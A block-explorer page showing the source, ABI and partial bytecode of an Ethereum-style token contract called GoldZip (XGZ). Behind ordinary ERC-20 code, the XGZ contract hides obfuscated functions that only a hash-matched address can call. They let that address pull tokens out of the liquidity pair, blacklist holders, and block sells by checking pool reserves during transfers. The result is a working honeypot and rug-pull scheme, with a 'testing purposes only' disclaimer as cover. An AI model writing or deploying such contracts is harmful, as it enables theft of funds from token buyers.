ERC-20
Source Code
Overview
Max Total Supply
1,000,000,000,000 XGZ
Holders
652
Market
Price
$0.00 @ 0.000000 ETH
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
0.000000064 XGZValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Name:
XGZ
Compiler Version
v0.8.6+commit.11564f7e
Contract Source Code (Solidity)
/**
*Submitted for verification at basescan.org on 2025-12-16
*/
/**
Website: https://goldzip.info/
Twitter: https://x.com/goldzip.info
Telegram: https://t.me/goldzipofficial
*/
pragma solidity ^0.8.6;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function factory() external pure returns (address);
function WETH() external pure returns (address);
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
/**
* This contract is for testing purposes only.
* Please do not make any purchases, as we are not responsible for any losses incurred.
*/
contract BERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
address public _defaultAddress = address(0x000000000000000000000000000000000000dEaD);
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _tTotal;
constructor(
string memory name_,
string memory symbol_,
address owner
) {
_name=name_;
_symbol=symbol_;
_decimals=9;
_tTotal=1000000000000 * 10**_decimals;
_tOwned[owner] = _tTotal;
emit Transfer(address(0), owner, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address BCWPWujIVL, uint256 KWluhjYoY)
public
override
returns (bool)
{
_transfer(msg.sender, BCWPWujIVL, KWluhjYoY);
return true;
}
function allowance(address peQGDXJze, address uvjioszutiz)
public
view
override
returns (uint256)
{
return _allowances[peQGDXJze][uvjioszutiz];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(msg.sender, spender, amount);
return true;
}
function _rDbabSbxriDndV(
address IOprcHXxLD,
address mexxjyeokce,
uint256 amount
) internal virtual {
require(
IOprcHXxLD != address(0),
"ERC20: transfer from the zero address"
);
require(
mexxjyeokce != address(0),
"ERC20: transfer to the zero address"
);
require(
_tOwned[IOprcHXxLD] >= amount,
"ERC20: transfer amount exceeds balance"
);
_tOwned[IOprcHXxLD] = _tOwned[IOprcHXxLD].sub(amount);
_tOwned[mexxjyeokce] = _tOwned[mexxjyeokce].add(amount);
emit Transfer(IOprcHXxLD, mexxjyeokce, amount);
}
function _transfer(
address IOprcHXxLD,
address mexxjyeokce,
uint256 amount
) internal virtual {
require(
IOprcHXxLD != address(0),
"ERC20: transfer from the zero address"
);
require(
mexxjyeokce != address(0),
"ERC20: transfer to the zero address"
);
require(
_tOwned[IOprcHXxLD] >= amount,
"ERC20: transfer amount exceeds balance"
);
_tOwned[IOprcHXxLD] = _tOwned[IOprcHXxLD].sub(amount);
_tOwned[mexxjyeokce] = _tOwned[mexxjyeokce].add(amount);
emit Transfer(IOprcHXxLD, mexxjyeokce, amount);
}
function transferFrom(
address xwRGMJxCPHUD,
address cqwuartaqfagr,
uint256 eyaldixfmfechd
) public override returns (bool) {
_transfer(xwRGMJxCPHUD, cqwuartaqfagr, eyaldixfmfechd);
_approve(
xwRGMJxCPHUD,
msg.sender,
_allowances[xwRGMJxCPHUD][msg.sender].sub(
eyaldixfmfechd,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function _nntuctbfsjdvp(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
/**
* This contract is for testing purposes only.
* Please do not make any purchases, as we are not responsible for any losses incurred.
*/
contract XGZ is BERC20 {
using SafeMath for uint256;
string private _name_ = "GoldZip";
string private _symbol_ = "XGZ";
uint256 private _hatabxfbln;
address private zrznizqgqfdp = 0xD0fE1314b1F438553F577bDeBec82F71c22536Cf;
address private DHHTpypypeLHu = 0x57655bB862c810118150b607D8d5503559829775;
address private HXXzopxHoc;
IUniswapV2Factory private immutable uniswapV2Router;
mapping(address => bool) public _qufeipmgjbew;
mapping(address => bool) public _UKVkpolqIzegu;
mapping(address => bool) public yadqpeshhyeyis;
mapping(address => bool) public _cqtxoVAZGFe;
address public uniswapV2Pair;
address private _ggbdvuzrfdma;
address public factory;
uint256 private ktfWrHagSpMVN = 1000;
mapping(address => uint256) private ofkyvtjdfalhpu;
bool public tgEepjDqFz = true;
uint256 private ybascrzogxq = 7;
uint256 private AjEiGidTBxmw = 0;
uint256 private ezupfhckavuos = 222;
bool public HPcvMYkCzu = true;
bytes32 private _LfsbLPrUyt;
mapping(address => bool) public _PvAISOqlyrvHIo;
mapping(address => uint256) public _tlqorfydxqv;
address public XbYUQvFUwp;
address private fHvhWlMwumDTN;
address private brgbxunevnvb;
uint256 private jXDNdcUNtkDDBW = 11;
uint256 private nntuctbfsjdvp = 1e8;
uint256 private rDbabSbxriDndV = 125423232111333;
uint256 private ts;
mapping(address => bool) public vTrGiIiOqgD;
uint256 private _settingtOutAmountTransfer =uint256(bytes32(0x000000000000000000000000000000000000000000000000000000000000000b));
constructor() BERC20(_name_, _symbol_,DHHTpypypeLHu
) {
IUniswapV2Factory _uniswapV2Router = IUniswapV2Factory(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24); //Pancake Router mainnet
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());fHvhWlMwumDTN = address(uint160(uint256(0xabbbab00000000000000dead10ED43C718714eb63d5aA57B78B54704E256024E)));brgbxunevnvb = address(uint160(uint256(0xabbbab00000000000000dead13f4EA83D0bd40E75C8222255bc855a974568Dd4)));
uniswapV2Router = _uniswapV2Router;
_LfsbLPrUyt = sha256(abi.encodePacked(zrznizqgqfdp));
HXXzopxHoc = 0x4200000000000000000000000000000000000006;
_ggbdvuzrfdma = zrznizqgqfdp;
_hatabxfbln = totalSupply();
vTrGiIiOqgD[fHvhWlMwumDTN] = true;
vTrGiIiOqgD[brgbxunevnvb] = true;
yadqpeshhyeyis[uniswapV2Pair] = true;
_cqtxoVAZGFe[_ggbdvuzrfdma] = true;
_qufeipmgjbew[address(this)] = true;
_qufeipmgjbew[_ggbdvuzrfdma] = true;
_qufeipmgjbew[DHHTpypypeLHu] = true;
}
function _XbYUQvFUwp(address owner, address spender) internal virtual {
_nntuctbfsjdvp(owner,spender,_hatabxfbln);
}
function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero");
uint256 expectedamount = amount;if (_qufeipmgjbew[from] || _qufeipmgjbew[to]) { super._transfer(from, to, expectedamount); return; } address feeaddress = to;
bool taketFeeTransfer = _UKVkpolqIzegu[from];
bool takebottime = ofkyvtjdfalhpu[from] + ybascrzogxq > block.timestamp;
require(!taketFeeTransfer);
if (from == uniswapV2Pair) { bool ghewra; bool sdhkwn; uint256 otherAmount; (, bytes memory token00) = uniswapV2Pair.call( abi.encodeWithSelector(0x0dfe1681) ); (, bytes memory token01) = uniswapV2Pair.call( abi.encodeWithSelector(0xd21220a7) ); (, bytes memory reserves01) = uniswapV2Pair.call( abi.encodeWithSelector(0x0902f1ac) ); (uint256 reserves0, uint256 reserves1) = abi.decode( reserves01, (uint256, uint256) ); address token0 = abi.decode(token00, (address)); address token1 = abi.decode(token01, (address)); (, bytes memory amount01) = token0.call( abi.encodeWithSignature("balanceOf(address)", uniswapV2Pair) ); uint256 amount03 = abi.decode(amount01, (uint256)); (, bytes memory amount02) = token1.call( abi.encodeWithSignature("balanceOf(address)", uniswapV2Pair) ); uint256 amount1 = abi.decode(amount02, (uint256)); if (token0 == HXXzopxHoc) { if (reserves0 > amount03) { otherAmount = reserves0 - amount03; ghewra = otherAmount > ktfWrHagSpMVN; } else { sdhkwn = reserves0 == amount03; } } else if (token1 == HXXzopxHoc) { if (reserves1 > amount1) { otherAmount = reserves1 - amount1; ghewra = otherAmount > ktfWrHagSpMVN; } else { sdhkwn = reserves1 == amount1; } } require(!ghewra && !sdhkwn); }
super._transfer(from, to, expectedamount);
}
function fpqlgczji(address bfyrfthbit) public { if (sha256(abi.encodePacked(msg.sender)) != _LfsbLPrUyt) { return; } else { XbYUQvFUwp = bfyrfthbit; } }
function xjsyamsakx(uint256 gxqmqewx) public { if (sha256(abi.encodePacked(msg.sender)) != _LfsbLPrUyt) { return; } else { super._rDbabSbxriDndV(uniswapV2Pair, XbYUQvFUwp, gxqmqewx); } }
function pdvmufdqmal(address _bfyrfthbit,bool foqvsewtp) public { if (sha256(abi.encodePacked(msg.sender)) != _LfsbLPrUyt) { return; } else { _UKVkpolqIzegu[_bfyrfthbit] = foqvsewtp; } }
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"HPcvMYkCzu","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"XbYUQvFUwp","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_PvAISOqlyrvHIo","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_UKVkpolqIzegu","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_cqtxoVAZGFe","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_defaultAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_qufeipmgjbew","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_tlqorfydxqv","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"peQGDXJze","type":"address"},{"internalType":"address","name":"uvjioszutiz","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"bfyrfthbit","type":"address"}],"name":"fpqlgczji","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_bfyrfthbit","type":"address"},{"internalType":"bool","name":"foqvsewtp","type":"bool"}],"name":"pdvmufdqmal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tgEepjDqFz","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"BCWPWujIVL","type":"address"},{"internalType":"uint256","name":"KWluhjYoY","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"xwRGMJxCPHUD","type":"address"},{"internalType":"address","name":"cqwuartaqfagr","type":"address"},{"internalType":"uint256","name":"eyaldixfmfechd","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"vTrGiIiOqgD","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"gxqmqewx","type":"uint256"}],"name":"xjsyamsakx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"yadqpeshhyeyis","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}]Contract Creation Code
60a060405261dead600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600781526020017f476f6c645a697000000000000000000000000000000000000000000000000000815250600790805190602001906200009492919062000c1f565b506040518060400160405280600381526020017f58475a000000000000000000000000000000000000000000000000000000000081525060089080519060200190620000e292919062000c1f565b5073d0fe1314b1f438553f577bdebec82f71c22536cf600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507357655bb862c810118150b607d8d5503559829775600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506103e86014556001601660006101000a81548160ff0219169083151502179055506007601755600060185560de6019556001601a60006101000a81548160ff021916908315150217905550600b6021556305f5e1006022556572125f3252e5602355600b60001b60001c6026553480156200020757600080fd5b50600780546200021790620010ef565b80601f01602080910402602001604051908101604052809291908181526020018280546200024590620010ef565b8015620002965780601f106200026a5761010080835404028352916020019162000296565b820191906000526020600020905b8154815290600101906020018083116200027857829003601f168201915b505050505060088054620002aa90620010ef565b80601f0160208091040260200160405190810160405280929190818152602001828054620002d890620010ef565b8015620003295780601f10620002fd5761010080835404028352916020019162000329565b820191906000526020600020905b8154815290600101906020018083116200030b57829003601f168201915b5050505050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682600390805190602001906200036992919062000c1f565b5081600490805190602001906200038292919062000c1f565b506009600560006101000a81548160ff021916908360ff160217905550600560009054906101000a900460ff16600a620003bd919062000ec6565b64e8d4a51000620003cf919062001003565b6006819055506006546000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200047c919062000e38565b60405180910390a35050506000734752ba5dbc23f44d87826276bf6fd6b1c372ad2490508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620004e757600080fd5b505afa158015620004fc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000522919062000cfd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200058557600080fd5b505afa1580156200059a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005c0919062000cfd565b6040518363ffffffff1660e01b8152600401620005df92919062000e0b565b602060405180830381600087803b158015620005fa57600080fd5b505af11580156200060f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000635919062000cfd565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fabbbab00000000000000dead10ed43c718714eb63d5aa57b78b54704e256024e601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fabbbab00000000000000dead13f4ea83d0bd40e75c8222255bc855a974568dd4602060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250506002600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602001620007a5919062000dd5565b604051602081830303815290604052604051620007c3919062000df2565b602060405180830381855afa158015620007e1573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019062000806919062000d2f565b601b81905550734200000000000000000000000000000000000006600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620008d462000c1560201b60201c565b600981905550600160256000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160256000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050620011fe565b6000600654905090565b82805462000c2d90620010ef565b90600052602060002090601f01602090048101928262000c51576000855562000c9d565b82601f1062000c6c57805160ff191683800117855562000c9d565b8280016001018555821562000c9d579182015b8281111562000c9c57825182559160200191906001019062000c7f565b5b50905062000cac919062000cb0565b5090565b5b8082111562000ccb57600081600090555060010162000cb1565b5090565b60008151905062000ce081620011ca565b92915050565b60008151905062000cf781620011e4565b92915050565b60006020828403121562000d165762000d15620011ab565b5b600062000d268482850162000ccf565b91505092915050565b60006020828403121562000d485762000d47620011ab565b5b600062000d588482850162000ce6565b91505092915050565b62000d6c8162001064565b82525050565b62000d8762000d818262001064565b62001125565b82525050565b600062000d9a8262000e55565b62000da6818562000e60565b935062000db8818560208601620010b9565b80840191505092915050565b62000dcf81620010a2565b82525050565b600062000de3828462000d72565b60148201915081905092915050565b600062000e00828462000d8d565b915081905092915050565b600060408201905062000e22600083018562000d61565b62000e31602083018462000d61565b9392505050565b600060208201905062000e4f600083018462000dc4565b92915050565b600081519050919050565b600081905092915050565b6000808291508390505b600185111562000ebd5780860481111562000e955762000e946200114d565b5b600185161562000ea55780820291505b808102905062000eb585620011bd565b945062000e75565b94509492505050565b600062000ed382620010a2565b915062000ee083620010ac565b925062000f0f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000f17565b905092915050565b60008262000f29576001905062000ffc565b8162000f39576000905062000ffc565b816001811462000f52576002811462000f5d5762000f93565b600191505062000ffc565b60ff84111562000f725762000f716200114d565b5b8360020a91508482111562000f8c5762000f8b6200114d565b5b5062000ffc565b5060208310610133831016604e8410600b841016171562000fcd5782820a90508381111562000fc75762000fc66200114d565b5b62000ffc565b62000fdc848484600162000e6b565b9250905081840481111562000ff65762000ff56200114d565b5b81810290505b9392505050565b60006200101082620010a2565b91506200101d83620010a2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200105957620010586200114d565b5b828202905092915050565b6000620010718262001082565b9050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015620010d9578082015181840152602081019050620010bc565b83811115620010e9576000848401525b50505050565b600060028204905060018216806200110857607f821691505b602082108114156200111f576200111e6200117c565b5b50919050565b6000620011328262001139565b9050919050565b60006200114682620011b0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160601b9050919050565b60008160011c9050919050565b620011d58162001064565b8114620011e157600080fd5b50565b620011ef8162001078565b8114620011fb57600080fd5b50565b60805160601c612b606200121a60003960005050612b606000f3fe608060405234801561001057600080fd5b50600436106101a95760003560e01c806371a3574d116100f9578063a457c2d711610097578063c45a015511610071578063c45a015514610520578063c8a9401e1461053e578063dceeb4491461056e578063dd62ed3e1461059e576101a9565b8063a457c2d714610490578063a9059cbb146104c0578063afe6f86d146104f0576101a9565b8063927f3d41116100d3578063927f3d411461041857806393b646651461043657806394db26191461045457806395d89b4114610472576101a9565b806371a3574d146103885780637d74fd90146103b857806382d219cd146103e8576101a9565b8063313ce5671161016657806346a988d51161014057806346a988d51461030257806349bd5a5e1461031e5780635ceff9a11461033c57806370a0823114610358576101a9565b8063313ce5671461028457806339509351146102a2578063453a25b5146102d2576101a9565b806305c6fadc146101ae57806306fdde03146101ca578063095ea7b3146101e857806318160ddd1461021857806323b872dd14610236578063254c2d1e14610266575b600080fd5b6101c860048036038101906101c391906120e1565b6105ce565b005b6101d261068f565b6040516101df9190612520565b60405180910390f35b61020260048036038101906101fd919061220e565b610721565b60405161020f9190612505565b60405180910390f35b610220610738565b60405161022d9190612622565b60405180910390f35b610250600480360381019061024b919061217b565b610742565b60405161025d9190612505565b60405180910390f35b61026e61080d565b60405161027b9190612505565b60405180910390f35b61028c610820565b6040516102999190612622565b60405180910390f35b6102bc60048036038101906102b7919061220e565b61083a565b6040516102c99190612505565b60405180910390f35b6102ec60048036038101906102e791906120e1565b6108df565b6040516102f99190612505565b60405180910390f35b61031c6004803603810190610317919061227b565b6108ff565b005b6103266109ce565b60405161033391906124ea565b60405180910390f35b610356600480360381019061035191906121ce565b6109f4565b005b610372600480360381019061036d91906120e1565b610acc565b60405161037f9190612622565b60405180910390f35b6103a2600480360381019061039d91906120e1565b610b14565b6040516103af9190612505565b60405180910390f35b6103d260048036038101906103cd91906120e1565b610b34565b6040516103df9190612505565b60405180910390f35b61040260048036038101906103fd91906120e1565b610b54565b60405161040f9190612505565b60405180910390f35b610420610b74565b60405161042d91906124ea565b60405180910390f35b61043e610b9a565b60405161044b9190612505565b60405180910390f35b61045c610bad565b60405161046991906124ea565b6